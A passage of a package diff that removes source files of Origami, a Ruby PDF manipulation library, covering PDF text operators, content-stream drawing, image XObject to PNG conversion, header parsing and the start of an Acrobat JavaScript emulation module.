'Tz', Real do |canvas, s| canvas.gs.text_state.scaling = s end - insn 'TL', Real do |canvas, l| canvas.gs.text_state.leading = l end - - insn 'Tf', Name, Real do |canvas, font, size| - canvas.gs.text_state.font = font - canvas.gs.text_state.font_size = size - end - - insn 'Tr', Integer do |canvas, r| canvas.gs.text_state.rendering_mode = r end - insn 'Ts', Real do |canvas, s| canvas.gs.text_state.text_rise = s end - insn 'BT' do |canvas| canvas.gs.text_state.begin_text_object end - insn 'ET' do |canvas| canvas.gs.text_state.end_text_object end - - insn 'Td', Real, Real do |canvas, tx, ty| - unless canvas.gs.text_state.is_in_text_object? - raise TextStateError, - "Must be in a text object to use operator : Td" - end - - canvas.gs.text_state.text_matrix = - canvas.gs.text_state.text_line_matrix = - Matrix.rows([[1,0,0],[0,1,0],[tx, ty, 1]]) * canvas.gs.text_state.text_line_matrix - end - - insn 'TD', Real, Real do |canvas, tx, ty| - unless canvas.gs.text_state.is_in_text_object? - raise TextStateError, - "Must be in a text object to use operator : TD" - end - - canvas.gs.text_state.leading = -ty - - canvas.gs.text_state.text_matrix = - canvas.gs.text_state.text_line_matrix = - Matrix.rows([[1,0,0],[0,1,0],[tx,ty,1]]) * canvas.gs.text_state.text_line_matrix - end - - insn 'Tm', Real, Real, Real, Real, Real, Real do |canvas, a,b,c,d,e,f,g| - unless canvas.gs.text_state.is_in_text_object? - raise TextStateError, - "Must be in a text object to use operator : Tm" - end - - canvas.gs.text_state.text_matrix = - canvas.gs.text_state.text_line_matrix = - Matrix.rows([[a,b,0],[c,d,0],[e,f,1]]) - end - - insn 'T*' do |canvas| - unless canvas.gs.text_state.is_in_text_object? - raise TextStateError, - "Must be in a text object to use operator : T*" - end - - tx, ty = 0, -canvas.gs.text_state.leading - - canvas.gs.text_state.text_matrix = - canvas.gs.text_state.text_line_matrix = - Matrix.rows([[1,0,0],[0,1,0],[tx, ty, 1]]) * canvas.gs.text_state.text_line_matrix - end - - insn 'Tj', String do |canvas, s| - unless canvas.gs.text_state.is_in_text_object? - raise TextStateError, - "Must be in a text object to use operator : Tj" - end - - canvas.write_text(s) - end - - insn "'", String do |canvas, s| - unless canvas.gs.text_state.is_in_text_object? - raise TextStateError, - "Must be in a text object to use operator : '" - end - - tx, ty = 0, -canvas.gs.text_state.leading - - canvas.gs.text_state.text_matrix = - canvas.gs.text_state.text_line_matrix = - Matrix.rows([[1,0,0],[0,1,0],[tx, ty, 1]]) * canvas.gs.text_state.text_line_matrix - - canvas.write_text(s) - end - - insn '"', Real, Real, String do |canvas, w, c, s| - unless canvas.gs.text_state.is_in_text_object? - raise TextStateError, - "Must be in a text object to use operator : \"" - end - - canvas.gs.text_state.word_spacing = w - canvas.gs.text_state.char_spacing = c - - tx, ty = 0, -gs.text_state.leading - - canvas.gs.text_state.text_matrix = - canvas.gs.text_state.text_line_matrix = - Matrix.rows([[1,0,0],[0,1,0],[tx, ty, 1]]) * canvas.gs.text_state.text_line_matrix - - canvas.write_text(s) - end - - insn 'TJ', Array do |canvas, arr| - arr.each do |g| - case g - when Fixnum,Float then - # XXX: handle this in text space ? - when ::String then - canvas.write_text(g) - else - raise InvalidPDFInstructionError, - "Invalid component type `#{g.class}` in TJ operand" - end - end - end - end - -end diff -Nru origami-1.2.7/lib/origami/graphics/xobject.rb origami-1.2.7+really0.7.4/lib/origami/graphics/xobject.rb --- origami-1.2.7/lib/origami/graphics/xobject.rb 2013-05-14 10:10:41.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/graphics/xobject.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,904 +0,0 @@ -=begin - -= File - graphics/xobject.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - # - # A class representing a Stream containing the contents of a Page. - # - class ContentStream < Stream - - DEFAULT_SIZE = 12 - DEFAULT_FONT = :F1 - DEFAULT_LEADING = 20 - DEFAULT_STROKE_COLOR = Graphics::Color::GrayScale.new(0.0) - DEFAULT_FILL_COLOR = Graphics::Color::GrayScale.new(1.0) - DEFAULT_LINECAP = Graphics::LineCapStyle::BUTT_CAP - DEFAULT_LINEJOIN = Graphics::LineJoinStyle::MITER_JOIN - DEFAULT_DASHPATTERN = Graphics::DashPattern.new([], 0) - DEFAULT_LINEWIDTH = 1.0 - - attr_reader :instructions - attr_accessor :canvas - - def initialize(rawdata = "", dictionary = {}) - - @instructions = nil - @canvas = Graphics::DummyCanvas.new - - super(rawdata, dictionary) - end - - def render(engine) - load! if @instructions.nil? - - @instructions.each do |instruction| - instruction.render(engine) - end - - nil - end - - def pre_build #:nodoc: - load! if @instructions.nil? - if @canvas.gs.text_state.is_in_text_object? - @instructions << PDF::Instruction.new('ET').render(@canvas) - end - - @data = @instructions.join - - super - end - - def instructions - load! if @instructions.nil? - - @instructions - end - - def draw_image(name, attr = {}) - load! if @instructions.nil? - - x, y = attr[:x], attr[:y] - - @instructions << PDF::Instruction.new('q') - @instructions << PDF::Instruction.new('cm', 300, 0, 0, 300, x, y) - @instructions << PDF::Instruction.new('Do', name) - @instructions << PDF::Instruction.new('Q') - end - - # - # Draw a straight line from the point at coord _from_, to the point at coord _to_. - # - def draw_line(from, to, attr = {}) - draw_polygon([from, to], attr) - end - - # - # Draw a polygon from a array of coordinates. - # - def draw_polygon(coords = [], attr = {}) - load! if @instructions.nil? - - stroke_color = attr[:stroke_color] || DEFAULT_STROKE_COLOR - fill_color = attr[:fill_color] || DEFAULT_FILL_COLOR - line_cap = attr[:line_cap] || DEFAULT_LINECAP - line_join = attr[:line_join] || DEFAULT_LINEJOIN - line_width = attr[:line_width] || DEFAULT_LINEWIDTH - dash_pattern = attr[:dash] || DEFAULT_DASHPATTERN - - stroke = attr[:stroke].nil? ? true : attr[:stroke] - fill = attr[:fill].nil? ? false : attr[:fill] - - stroke = true if fill == false and stroke == false - - set_fill_color(fill_color) if fill - set_stroke_color(stroke_color) if stroke - set_line_width(line_width) - set_line_cap(line_cap) - set_line_join(line_join) - set_dash_pattern(dash_pattern) - - if @canvas.gs.text_state.is_in_text_object? - @instructions << PDF::Instruction.new('ET').render(@canvas) - end - - unless coords.size < 1 - x,y = coords.slice!(0) - @instructions << PDF::Instruction.new('m',x,y).render(@canvas) - - coords.each do |px,py| - @instructions << PDF::Instruction.new('l',px,py).render(@canvas) - end - - @instructions << (i = - if stroke and not fill - PDF::Instruction.new('s') - elsif fill and not stroke - PDF::Instruction.new('f') - elsif fill and stroke - PDF::Instruction.new('b') - end - ) - - i.render(@canvas) - end - - self - end - - # - # Draw a rectangle at position (_x_,_y_) with defined _width_ and _height_. - # - def draw_rectangle(x, y, width, height, attr = {}) - load! if @instructions.nil? - - stroke_color = attr[:stroke_color] || DEFAULT_STROKE_COLOR - fill_color = attr[:fill_color] || DEFAULT_FILL_COLOR - line_cap = attr[:line_cap] || DEFAULT_LINECAP - line_join = attr[:line_join] || DEFAULT_LINEJOIN - line_width = attr[:line_width] || DEFAULT_LINEWIDTH - dash_pattern = attr[:dash] || DEFAULT_DASHPATTERN - - stroke = attr[:stroke].nil? ? true : attr[:stroke] - fill = attr[:fill].nil? ? false : attr[:fill] - - stroke = true if fill == false and stroke == false - - set_fill_color(fill_color) if fill - set_stroke_color(stroke_color) if stroke - set_line_width(line_width) - set_line_cap(line_cap) - set_line_join(line_join) - set_dash_pattern(dash_pattern) - - if @canvas.gs.text_state.is_in_text_object? - @instructions << PDF::Instruction.new('ET').render(@canvas) - end - - @instructions << PDF::Instruction.new('re', x,y,width,height).render(@canvas) - - @instructions << (i = - if stroke and not fill - PDF::Instruction.new('S') - elsif fill and not stroke - PDF::Instruction.new('f') - elsif fill and stroke - PDF::Instruction.new('B') - end - ) - - i.render(@canvas) - - self - end - - # - # Adds text to the content stream with custom formatting attributes. - # _text_:: Text to write. - # _attr_:: Formatting attributes. - # - def write(text, attr = {}) - load! if @instructions.nil? - - x,y = attr[:x], attr[:y] - font = attr[:font] || DEFAULT_FONT - size = attr[:size] || DEFAULT_SIZE - leading = attr[:leading] || DEFAULT_LEADING - color = attr[:color] || attr[:fill_color] || DEFAULT_STROKE_COLOR - stroke_color = attr[:stroke_color] || DEFAULT_STROKE_COLOR - line_width = attr[:line_width] || DEFAULT_LINEWIDTH - word_spacing = attr[:word_spacing] - char_spacing = attr[:char_spacing] - scale = attr[:scale] - rise = attr[:rise] - rendering = attr[:rendering] - - @instructions << PDF::Instruction.new('ET').render(@canvas) if (x or y) and @canvas.gs.text_state.is_in_text_object? - - unless @canvas.gs.text_state.is_in_text_object? - @instructions << PDF::Instruction.new('BT').render(@canvas) - end - - set_text_font(font, size) - set_text_pos(x, y) if x or y - set_text_leading(leading) if leading - set_text_rendering(rendering) if rendering - set_text_rise(rise) if rise - set_text_scale(scale) if scale - set_text_word_spacing(word_spacing) if word_spacing - set_text_char_spacing(char_spacing) if char_spacing - set_fill_color(color) - set_stroke_color(stroke_color) - set_line_width(line_width) - - write_text_block(text) - - self - end - - def paint_shading(shade) - load! if @instructions.nil? - @instructions << PDF::Instruction.new('sh', shade).render(@canvas) - - self - end - - def set_text_font(fontname, size) - load! if @instructions.nil? - if fontname != @canvas.gs.text_state.font or size != @canvas.gs.text_state.font_size - @instructions << PDF::Instruction.new('Tf', fontname, size).render(@canvas) - end - - self - end - - def set_text_pos(tx,ty) - load! if @instructions.nil? - @instructions << PDF::Instruction.new('Td', tx, ty).render(@canvas) - - self - end - - def set_text_leading(leading) - load! if @instructions.nil? - if leading != @canvas.gs.text_state.leading - @instructions << PDF::Instruction.new('TL', leading).render(@canvas) - end - - self - end - - def set_text_rendering(rendering) - load! if @instructions.nil? - if rendering != @canvas.gs.text_state.rendering_mode - @instructions << PDF::Instruction.new('Tr', rendering).render(@canvas) - end - - self - end - - def set_text_rise(rise) - load! if @instructions.nil? - if rise != @canvas.gs.text_state.text_rise - @instructions << PDF::Instruction.new('Ts', rise).render(@canvas) - end - - self - end - - def set_text_scale(scaling) - load! if @instructions.nil? - if scale != @canvas.gs.text_state.scaling - @instructions << PDF::Instruction.new('Tz', scaling).render(@canvas) - end - - self - end - - def set_text_word_spacing(word_spacing) - load! if @instructions.nil? - if word_spacing != @canvas.gs.text_state.word_spacing - @instructions << PDF::Instruction.new('Tw', word_spacing).render(@canvas) - end - - self - end - - def set_text_char_spacing(char_spacing) - load! if @instructions.nil? - if char_spacing != @canvas.gs.text_state.char_spacing - @instructions << PDF::Instruction.new('Tc', char_spacing).render(@canvas) - end - - self - end - - def set_fill_color(color) - load! if @instructions.nil? - - @instructions << ( i = - if (color.respond_to? :r and color.respond_to? :g and color.respond_to? :b) or (color.is_a?(::Array) and color.size == 3) - r = (color.respond_to?(:r) ? color.r : color[0]).to_f / 255 - g = (color.respond_to?(:g) ? color.g : color[1]).to_f / 255 - b = (color.respond_to?(:b) ? color.b : color[2]).to_f / 255 - PDF::Instruction.new('rg', r, g, b) if @canvas.gs.nonstroking_color != [r,g,b] - - elsif (color.respond_to? :c and color.respond_to? :m and color.respond_to? :y and color.respond_to? :k) or (color.is_a?(::Array) and color.size == 4) - c = (color.respond_to?(:c) ? color.c : color[0]).to_f - m = (color.respond_to?(:m) ? color.m : color[1]).to_f - y = (color.respond_to?(:y) ? color.y : color[2]).to_f - k = (color.respond_to?(:k) ? color.k : color[3]).to_f - PDF::Instruction.new('k', c, m, y, k) if @canvas.gs.nonstroking_color != [c,m,y,k] - - elsif color.respond_to?:g or (0.0..1.0) === color - g = color.respond_to?(:g) ? color.g : color - PDF::Instruction.new('g', g) if @canvas.gs.nonstroking_color != [ g ] - - else - raise TypeError, "Invalid color : #{color}" - end - ) - - i.render(@canvas) if i - self - end - - def set_stroke_color(color) - load! if @instructions.nil? - - @instructions << ( i = - if (color.respond_to? :r and color.respond_to? :g and color.respond_to? :b) or (color.is_a?(::Array) and color.size == 3) - r = (color.respond_to?(:r) ? color.r : color[0]).to_f / 255 - g = (color.respond_to?(:g) ? color.g : color[1]).to_f / 255 - b = (color.respond_to?(:b) ? color.b : color[2]).to_f / 255 - PDF::Instruction.new('RG', r, g, b) if @canvas.gs.stroking_color != [r,g,b] - - elsif (color.respond_to? :c and color.respond_to? :m and color.respond_to? :y and color.respond_to? :k) or (color.is_a?(::Array) and color.size == 4) - c = (color.respond_to?(:c) ? color.c : color[0]).to_f - m = (color.respond_to?(:m) ? color.m : color[1]).to_f - y = (color.respond_to?(:y) ? color.y : color[2]).to_f - k = (color.respond_to?(:k) ? color.k : color[3]).to_f - PDF::Instruction.new('K', c, m, y, k) if @canvas.gs.stroking_color != [c,m,y,k] - - elsif color.respond_to?:g or (0.0..1.0) === color - g = color.respond_to?(:g) ? color.g : color - PDF::Instruction.new('G', g) if @canvas.gs.stroking_color != [ g ] - - else - raise TypeError, "Invalid color : #{color}" - end - ) - - i.render(@canvas) if i - self - end - - def set_dash_pattern(pattern) - load! if @instructions.nil? - unless @canvas.gs.dash_pattern.eql? pattern - @instructions << PDF::Instruction.new('d', pattern.array, pattern.phase).render(@canvas) - end - - self - end - - def set_line_width(width) - load! if @instructions.nil? - if @canvas.gs.line_width != width - @instructions << PDF::Instruction.new('w', width).render(@canvas) - end - - self - end - - def set_line_cap(cap) - load! if @instructions.nil? - if @canvas.gs.line_cap != cap - @instructions << PDF::Instruction.new('J', cap).render(@canvas) - end - - self - end - - def set_line_join(join) - load! if @instructions.nil? - if @canvas.gs.line_join != join - @instructions << PDF::Instruction.new('j', join).render(@canvas) - end - - self - end - - private - - def load! - decode! - - code = StringScanner.new self.data - @instructions = [] - - until code.eos? - insn = PDF::Instruction.parse(code) - @instructions << insn if insn - end - - self - end - - def write_text_block(text) - - lines = text.split("\n").map!{|line| line.to_s} - - @instructions << PDF::Instruction.new('Tj', lines.slice!(0)).render(@canvas) - lines.each do |line| - @instructions << PDF::Instruction.new("'", line).render(@canvas) - end - - end - - end #class ContentStream - - class Page < Dictionary - - def render(engine) #:nodoc: - contents = self.Contents - contents = [ contents ] unless contents.is_a? Array - - contents.each do |stream| - stream = stream.cast_to(ContentStream) unless stream.is_a? ContentStream - - stream.render(engine) - end - end - - # TODO :nodoc: - def draw_image - raise NotImplementedError - end - - # See ContentStream#draw_line. - def draw_line(from, to, attr = {}) - last_content_stream.draw_line(from, to, attr); self - end - - # See ContentStream#draw_polygon. - def draw_polygon(coords = [], attr = {}) - last_content_stream.draw_polygon(coords, attr); self - end - - # See ContentStream#draw_rectangle. - def draw_rectangle(x, y, width, height, attr = {}) - last_content_stream.draw_rectangle(x, y, width, height, attr); self - end - - # See ContentStream#write. - def write(text, attr = {}) - last_content_stream.write(text, attr); self - end - - # TODO :nodoc: - def paint_shading(shade) - raise NotImplementedError - end - - # TODO :nodoc: - def set_text_font(font, size) - raise NotImplementedError - end - - # See ContentStream#set_text_pos. - def set_text_pos(tx, ty) - last_content_stream.set_text_pos(tx, ty); self - end - - # See ContentStream#set_text_leading. - def set_text_leading(leading) - last_content_stream.set_text_leading(leading); self - end - - # See ContentStream#set_text_rendering. - def set_text_rendering(rendering) - last_content_stream.set_text_rendering(rendering); self - end - - # See ContentStream#set_text_rise. - def set_text_rise(rise) - last_content_stream.set_text_rise(rise); self - end - - # See ContentStream#set_text_scale. - def set_text_scale(scaling) - last_content_stream.set_text_scale(scaling); self - end - - # See ContentStream#set_text_word_spacing. - def set_text_word_spacing(word_spacing) - last_content_stream.set_text_word_spacing(word_spacing); self - end - - # See ContentStream#set_text_char_spacing. - def set_text_char_spacing(char_spacing) - last_content_stream.set_text_char_spacing(char_spacing); self - end - - # See ContentStream#set_fill_color. - def set_fill_color(color) - last_content_stream.set_fill_color(color); self - end - - # See ContentStream#set_stroke_color. - def set_stroke_color(color) - last_content_stream.set_stroke_color(color); self - end - - # See ContentStream#set_dash_pattern. - def set_dash_pattern(pattern) - last_content_stream.set_dash_pattern(pattern); self - end - - # See ContentStream#set_line_width. - def set_line_width(width) - last_content_stream.set_line_width(width); self - end - - # See ContentStream#set_line_cap. - def set_line_cap(cap) - last_content_stream.set_line_cap(cap); self - end - - # See ContentStream#set_line_join. - def set_line_join(join) - last_content_stream.set_line_join(join); self - end - - private - - def last_content_stream #:nodoc: - contents = (self.Contents ||= ContentStream.new) - contents.is_a?(Array) ? contents.last : contents - end - end # class Page - - module Graphics - - module XObject - def self.included(receiver) - receiver.field :Type, :Type => Name, :Default => :XObject - end - end - - class FormXObject < ContentStream - include XObject - include ResourcesHolder - - field :Subtype, :Type => Name, :Default => :Form, :Required => true - field :FormType, :Type => Integer, :Default => 1 - field :BBox, :Type => Array, :Required => true - field :Matrix, :Type => Array, :Default => [1, 0, 0, 1, 0, 0] - field :Resources, :Type => Resources, :Version => "1.2" - field :Group, :Type => Dictionary, :Version => "1.4" - field :Ref, :Type => Dictionary, :Version => "1.4" - field :Metadata, :Type => Stream, :Version => "1.4" - field :PieceInfo, :Type => Dictionary, :Version => "1.3" - field :LastModified, :Type => String, :Version => "1.3" - field :StructParent, :Type => Integer, :Version => "1.3" - field :StructParents, :Type => Integer, :Version => "1.3" - field :OPI, :Type => Dictionary, :Version => "1.2" - field :OC, :Type => Dictionary, :Version => "1.5" - field :Name, :Type => Name - field :Measure, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :PtData, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - - def pre_build - self.Resources = Resources.new.pre_build unless has_field?(:Resources) - - super - end - - end - - class ImageXObject < Stream - include XObject - - field :Subtype, :Type => Name, :Default => :Image, :Required => true - field :Width, :Type => Integer, :Required => true - field :Height, :Type => Integer, :Required => true - field :ColorSpace, :Type => [ Name, Array ] - field :BitsPerComponent, :Type => Integer - field :Intent, :Type => Name, :Version => "1.1" - field :ImageMask, :Type => Boolean, :Default => false - field :Mask, :Type => [ Stream, Array ], :Version => "1.3" - field :Decode, :Type => Array - field :Interpolate, :Type => Boolean, :Default => false - field :Alternates, :Type => Array, :Version => "1.3" - field :SMask, :Type => Stream, :Version => "1.4" - field :SMaskInData, :Type => Integer, :Default => 0, :Version => "1.5" - field :Name, :Type => Name - field :StructParent, :Type => Integer, :Version => "1.3" - field :ID, :Type => String, :Version => "1.3" - field :OPI, :Type => Dictionary, :Version => "1.2" - field :Metadata, :Type => Stream, :Version => "1.4" - field :OC, :Type => Dictionary, :Version => "1.5" - field :Measure, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :PtData, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - - def self.from_image_file(path, format = nil) - - if path.respond_to?(:read) - fd = path - else - fd = File.open(File.expand_path(path), 'r').binmode - format ||= File.extname(path) - format.slice!(0) if format and format[0,1] == '.' - end - - if ''.respond_to? :force_encoding - data = fd.read.force_encoding('binary') # 1.9 - else - data = fd.read - end - - fd.close - - image = ImageXObject.new - - raise ArgumentError, "Missing file format" if format.nil? - case format.downcase - when 'jpg', 'jpeg', 'jpe', 'jif', 'jfif', 'jfi' - image.setFilter :DCTDecode - image.rawdata = data - - image - - when 'jp2','jpx','j2k','jpf','jpm','mj2' - image.setFilter :JPXDecode - image.rawdata = data - - image - - when 'jb2', 'jbig', 'jbig2' - image.setFilter :JBIG2Decode - image.rawdata = data - - image - else - raise NotImplementedError, "Unknown file format: '#{format}'" - end - end - - # - # Converts an ImageXObject stream into an image file data. - # Output format depends on the stream encoding: - # * JPEG for DCTDecode - # * JPEG2000 for JPXDecode - # * JBIG2 for JBIG2Decode - # * PNG for everything else - # - # Returns an array of the form [ _format_, _data_ ] - # - def to_image_file - encoding = self.Filter - encoding = encoding[0] if encoding.is_a? ::Array - - case (encoding && encoding.value) - when :DCTDecode then [ 'jpg', self.data ] - when :JBIG2Decode then [ 'jbig2', self.data ] - when :JPXDecode then [ 'jp2', self.data ] - - else - raise InvalidColorError, "No colorspace specified" unless self.ColorSpace - - case cs = self.ColorSpace.value - when Color::Space::DEVICE_GRAY - colortype = 0 - components = 1 - when Color::Space::DEVICE_RGB - colortype = 2 - components = 3 - when ::Array - cstype = cs[0].is_a?(Reference) ? cs[0].solve : cs[0] - case cstype.value - when :Indexed - colortype = 3 - components = 3 - csbase = cs[1].is_a?(Reference) ? cs[1].solve : cs[1] - lookup = cs[3].is_a?(Reference) ? cs[3].solve : cs[3] - - when :ICCBased - iccprofile = cs[1].is_a?(Reference) ? cs[1].solve : cs[1] - raise InvalidColorError, - "Invalid ICC Profile parameter" unless iccprofile.is_a?(Stream) - - case iccprofile.N - when 1 - colortype = 0 - components = 1 - when 3 - colortype = 2 - components = 3 - else - raise InvalidColorError, - "Invalid number of components in ICC profile: #{iccprofile.N}" - end - else - raise InvalidColorError, "Unsupported color space: #{self.ColorSpace}" - end - else - raise InvalidColorError, "Unsupported color space: #{self.ColorSpace}" - end - - bpc = self.BitsPerComponent || 8 - w,h = self.Width, self.Height - pixels = self.data - - hdr = [137, 80, 78, 71, 13, 10, 26, 10].pack('C*') - chunks = [] - - chunks << - [ - 'IHDR', - [ - w, h, - bpc, colortype, 0, 0, 0 - ].pack("N2C5") - ] - - - if self.Intents - intents = - case self.Intents.value - when Intents::PERCEPTUAL then 0 - when Intents::RELATIVE then 1 - when Intents::SATURATION then 2 - when Intents::ABSOLUTE then 3 - else - 3 - end - - chunks << - [ - 'sRGB', - [ intents ].pack('C') - ] - - chunks << [ 'gAMA', [ 45455 ].pack("N") ] - chunks << - [ - 'cHRM', - [ - 31270, - 32900, - 64000, - 33000, - 30000, - 60000, - 15000, - 6000 - ].pack("N8") - ] - end - - if colortype == 3 - lookup = - case lookup - when Stream then lookup.data - when String then lookup.value - else - raise InvalidColorError, "Invalid indexed palette table" - end - - raise InvalidColorError, "Invalid base color space" unless csbase - palette = "" - - case csbase.value - when Color::Space::DEVICE_GRAY - lookup.each_byte do |g| - palette << Color.gray_to_rgb(g).pack("C3") - end - when Color::Space::DEVICE_RGB - palette << lookup[0, (lookup.size / 3) * 3] - when Color::Space::DEVICE_CMYK - (lookup.size / 4).times do |i| - cmyk = lookup[i * 4, 4].unpack("C4").map!{|c| c.to_f / 255} - palette << Color.cmyk_to_rgb(*cmyk).map!{|c| (c * 255).to_i}.pack("C3") - end - when ::Array - case csbase[0].solve.value - when :ICCBased - iccprofile = csbase[1].solve - raise InvalidColorError, - "Invalid ICC Profile parameter" unless iccprofile.is_a?(Stream) - - case iccprofile.N - when 1 - lookup.each_byte do |g| - palette << Color.gray_to_rgb(g).pack("C3") - end - when 3 - palette << lookup[0, (lookup.size / 3) * 3] - else - raise InvalidColorError, - "Invalid number of components in ICC profile: #{iccprofile.N}" - end - else - raise InvalidColorError, "Unsupported color space: #{csbase}" - end - else - raise InvalidColorError, "Unsupported color space: #{csbase}" - end - - if iccprofile - chunks << - [ - 'iCCP', - 'ICC Profile' + "\x00\x00" + Zlib::Deflate.deflate(iccprofile.data, Zlib::BEST_COMPRESSION) - ] - end - - chunks << - [ - 'PLTE', - palette - ] - - bpr = w - else - - if iccprofile - chunks << - [ - 'iCCP', - 'ICC Profile' + "\x00\x00" + Zlib::Deflate.deflate(iccprofile.data, Zlib::BEST_COMPRESSION) - ] - end - - bpr = (bpc >> 3) * components * w - end - - require 'zlib' - - nrows = pixels.size / bpr - nrows.times do |irow| - pixels.insert(irow * bpr + irow, "\x00") - end - - chunks << - [ - 'IDAT', - Zlib::Deflate.deflate(pixels, Zlib::BEST_COMPRESSION) - ] - - if self.Metadata.is_a?(Stream) - chunks << - [ - 'tEXt', - "XML:com.adobe.xmp" + "\x00" + self.Metadata.data - ] - end - - chunks << [ 'IEND', '' ] - - [ 'png', - hdr + chunks.map!{ |chk| - [ chk[1].size, chk[0], chk[1], Zlib.crc32(chk[0] + chk[1]) ].pack("NA4A*N") - }.join - ] - end - end - end - - class ReferenceDictionary < Dictionary - include StandardObject - - field :F, :Type => Dictionary, :Required => true - field :Page, :Type => [Integer, String], :Required => true - field :ID, :Tyoe => Array - end - - end - -end - diff -Nru origami-1.2.7/lib/origami/graphics.rb origami-1.2.7+really0.7.4/lib/origami/graphics.rb --- origami-1.2.7/lib/origami/graphics.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/graphics.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,34 +0,0 @@ -=begin - -= File - graphics.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'origami/graphics/instruction' -require 'origami/graphics/colors' -require 'origami/graphics/path' -require 'origami/graphics/xobject' -require 'origami/graphics/patterns' -require 'origami/graphics/text' -require 'origami/graphics/state' -require 'origami/graphics/render' - diff -Nru origami-1.2.7/lib/origami/header.rb origami-1.2.7+really0.7.4/lib/origami/header.rb --- origami-1.2.7/lib/origami/header.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/header.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,90 +0,0 @@ -=begin - -= File - header.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class PDF - - class InvalidHeaderError < Exception #:nodoc: - end - - # - # Class representing a PDF Header. - # - class Header - - MINVERSION = 0 - MAXVERSION = 7 - - MAGIC = /%PDF-(\d+)\.(\d+)/ - - attr_accessor :majorversion, :minorversion - - # - # Creates a file header, with the given major and minor versions. - # _majorversion_:: Major PDF version, must be 1. - # _minorversion_:: Minor PDF version, must be between 0 and 7. - # - def initialize(majorversion = 1, minorversion = 4) - - #if majorversion.to_i != 1 || ! ((MINVERSION..MAXVERSION) === minorversion.to_i) - # Console.colorprint("[info ] Warning: Invalid file version : #{majorversion}.#{minorversion}\n", Console::Colors::YELLOW, false, STDERR) - #end - - @majorversion, @minorversion = majorversion, minorversion - end - - def self.parse(stream) #:nodoc: - - if not stream.scan(MAGIC).nil? - maj = stream[1].to_i - min = stream[2].to_i - else - raise InvalidHeaderError, "Invalid header format : #{stream.peek(15).inspect}" - end - - PDF::Header.new(maj,min) - end - - # - # Outputs self into PDF code. - # - def to_s - "%PDF-#{@majorversion}.#{@minorversion}" + EOL - end - - def to_sym #:nodoc: - "#{@majorversion}.#{@minorversion}".to_sym - end - - def to_f #:nodoc: - to_sym.to_s.to_f - end - - end - - end - -end diff -Nru origami-1.2.7/lib/origami/javascript.rb origami-1.2.7+really0.7.4/lib/origami/javascript.rb --- origami-1.2.7/lib/origami/javascript.rb 2013-04-08 19:20:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/javascript.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,694 +0,0 @@ -=begin - -= File - javascript.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - begin - require 'v8' - - class V8::Object - #def inspect - # case self - # when V8::Array,V8::Function then super - # else - # "{#{self.to_a.map{|k,v| "#{k}:#{v.inspect}"}.join(', ')}}" - # end - #end - end - - class PDF - - module JavaScript - - module Platforms - WINDOWS = "WIN" - UNIX = "UNIX" - MAC = "MAC" - end - - module Viewers - ADOBE_READER = "Reader" - end - - class MissingArgError < Exception - def initialize; super("Missing required argument.") end - end - - class TypeError < Exception - def initialize; super("Incorrect argument type.") end - end - - class InvalidArgsError < Exception - def initialize; super("Incorrect arguments.") end - end - - class NotAllowedError < Exception - def initialize; super("Security settings prevent access to this property or method.") end - end - - class HelpError < Exception - def initialize; super("Help") end - end - - class GeneralError < Exception - def initialize; super("Operation failed.") end - end - - class Arg - attr_reader :name, :type, :required, :default - - def initialize(declare = {}) - @name = declare[:name] - @type = declare[:type] - @required = declare[:required] - @default = declare[:default] - end - - def self.[](declare = {}) - self.new(declare) - end - - def self.inspect(obj) - case obj - when V8::Function then "function #{obj.name}" - when V8::Array then obj.to_a.inspect - when V8::Object - "{#{obj.to_a.map{|k,v| "#{k}:#{Arg.inspect(v)}"}.join(', ')}}" - else - obj.inspect - end - end - - end - - class AcrobatObject - def initialize(engine) - @engine = engine - end - - def 